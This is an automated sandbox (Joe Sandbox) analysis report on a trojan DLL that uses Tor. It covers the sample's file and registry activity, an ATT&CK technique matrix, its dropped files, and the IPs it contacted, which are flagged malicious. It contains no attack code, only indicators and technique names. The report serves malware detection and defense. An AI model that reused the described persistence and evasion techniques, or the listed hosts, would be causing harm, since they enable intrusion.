Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\cache\dir_blobs VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\cache\dir_blobs VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\cache\dir_blobs\con_microdesc_sha3-256-f2801e2ce4339b27d1b1680219205f91a7dcd6493d9311cc25c18701b2c2813a.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\cache VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\circuit_timeouts.tmp VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Roaming\IntelManagementUnit VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\AppData\Local\torproject\Arti\data\state\guards.tmp VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\rundll32.exe

Code function: 3_2_00007FF8A8342B0C GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

3_2_00007FF8A8342B0C

Source: C:\Windows\System32\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 Scheduled Task/Job	111 Process Injection	3 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	12 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	12 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	1 DLL Side-Loading	111 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Rundll32	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	14 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
uEhN67huiV.dll	0%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\IntelManagementUnit\Clienter.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\IntelManagementUnit\FSharp.Core.All.dll	0%	ReversingLabs

Name	Source	Malicious	Reputation
https://aka.ms/nativeaot-compatibilityy#	rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	false	high
http://html4/loose.dtd	rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	false	high
http://nuget.org/NuGet.exe	powershell.exe, 0000001A.00000002.2253402475.0000025123BC6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2336441288.000002513234D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2336441288.0000025132483000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 0000001A.00000002.2253402475.0000025123A69000.00000004.00000800.00020000.00000000.sdmp	false	high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001A.00000002.2253402475.0000025122503000.00000004.00000800.00020000.00000000.sdmp	false	high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001A.00000002.2253402475.0000025122503000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/nativeaot-c	rundll32.exe	false	high
https://go.micro	powershell.exe, 0000001A.00000002.2253402475.0000025122F03000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/License	powershell.exe, 0000001A.00000002.2336441288.0000025132483000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/Icon	powershell.exe, 0000001A.00000002.2336441288.0000025132483000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/pscore6	powershell.exe, 00000011.00000002.2224474015.000001E4570C3000.00000004.00000800.00020000.00000000.sdmp	false	high
http://.css	rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	false	high
https://github.com/icedland/icedc	rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001E.00000002.2291296762.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	false	high
https://github.com/Pester/Pester	powershell.exe, 0000001A.00000002.2253402475.0000025122503000.00000004.00000800.00020000.00000000.sdmp	false	high
https://aka.ms/nativeaot-compatibilityY#	rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysid	rundll32.exe	false	high
https://aka.ms/dotnet-warnings/	rundll32.exe	false	high
https://aka.ms/nativeaot-compatibility	rundll32.exe	false	high
https://contoso.com/	powershell.exe, 0000001A.00000002.2336441288.0000025132483000.00000004.00000800.00020000.00000000.sdmp	false	high
https://github.com/secana/PeNet	rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001E.00000002.2291296762.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 0000001A.00000002.2253402475.0000025123BC6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2336441288.000002513234D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2336441288.0000025132483000.00000004.00000800.00020000.00000000.sdmp	false	high
https://oneget.orgX	powershell.exe, 0000001A.00000002.2253402475.0000025123A69000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidY#	rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	false	high
https://github.com/dotnet/fsharp	rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001E.00000002.2291296762.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	false	high
https://aka.ms/GlobalizationInvariantMode	rundll32.exe	false	high
https://aka.ms/pscore68	powershell.exe, 00000011.00000002.2224474015.000001E457108000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2236301904.000002A2D5467000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2236301904.000002A2D549D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2253402475.00000251222D1000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	rundll32.exe	false	high
http://.jpg	rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	false	high
https://github.com/icedland	rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001E.00000002.2291296762.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	false	high
https://github.com/dotnet/runtime#x	rundll32.exe, 00000003.00000002.2536766643.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.2169372482.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000000A.00000002.2255838732.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 00000014.00000002.2371848887.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001C.00000002.2284034540.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001D.00000002.2385192805.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp, rundll32.exe, 0000001E.00000002.2291296762.00007FF8A87D4000.00000002.00000001.01000000.00000003.sdmp	false	high
https://oneget.org	powershell.exe, 0000001A.00000002.2253402475.0000025123A69000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
54.36.205.38	unknown	France	16276	OVHFR	true
23.233.0.213	unknown	Canada	5645	TEKSAVVYCA	true
81.7.16.177	unknown	Germany	35366	ISPPRO-ASISPPRO-AScoversthenetworksofISPproDE	true
89.58.54.129	unknown	Germany	5430	FREENETDEfreenetDatenkommunikationsGmbHDE	true
18.18.82.18	unknown	United States	3	MIT-GATEWAYSUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576676
Start date and time:	2024-12-17 11:48:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	58
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	uEhN67huiV.dll (renamed file extension from exe to dll, renamed because original name is a hash value)
Original Sample Name:	6d54f141eb720b107b479bf46db29af4df2b96fe090b3ddaf835b3a1d1ed40a1.dll.exe
Detection:	MAL
Classification:	mal84.troj.evad.winDLL@81/39@0/5
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Override analysis time to 240s for sample based on specific behavior

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.22, 20.190.177.19, 13.107.246.43, 4.175.87.197, 23.1.237.91
Excluded domains from analysis (whitelisted): www.bing.com, ocsp.digicert.com, login.live.com, otelrules.azureedge.net, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus17.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 3772 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7184 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7400 because it is empty
Execution Graph export aborted for target rundll32.exe, PID 4112 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 4500 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 6004 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 6156 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7584 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7592 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7604 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7632 because there are no executed function
Execution Graph export aborted for target rundll32.exe, PID 7648 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: uEhN67huiV.dll

Simulations

Behavior and APIs

Time	Type	Description
05:49:20	API Interceptor	7x Sleep call for process: powershell.exe modified
05:49:22	API Interceptor	1x Sleep call for process: loaddll64.exe modified
05:49:47	API Interceptor	2x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
54.36.205.38	o4QEzeCniw.exe	Get hash	malicious	Unknown	Browse
	hDlOQhHBlY.exe	Get hash	malicious	Unknown	Browse
	m5EyzJ7S8S.exe	Get hash	malicious	Amadey, Glupteba, LummaC Stealer, Mars Stealer, SmokeLoader, Stealc, Vidar	Browse
	906o5yr1NE.exe	Get hash	malicious	LummaC, Glupteba, LummaC Stealer, SmokeLoader, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	BazaLoader	Browse
	g5oo6DQ4pd.exe	Get hash	malicious	Unknown	Browse
	messg_02620000_deupx - Copy.exe	Get hash	malicious	Shade	Browse
	IObitUnlocker.dll	Get hash	malicious	Unknown	Browse
81.7.16.177	lagrima.apk	Get hash	malicious	Unknown	Browse
89.58.54.129	klWGq3yDcQ.exe	Get hash	malicious	Unknown	Browse
89.58.54.129	synaptic_pkexec	Get hash	malicious	Unknown	Browse
18.18.82.18	SSmamWOS7L.exe	Get hash	malicious	Glupteba, SmokeLoader, Stealc	Browse
18.18.82.18	2N2jefqo8e.exe	Get hash	malicious	Wannacry, Conti	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ISPPRO-ASISPPRO-AScoversthenetworksofISPproDE	http://amtso.eicar.org/PotentiallyUnwanted.exe	Get hash	malicious	Unknown	Browse	81.7.7.163
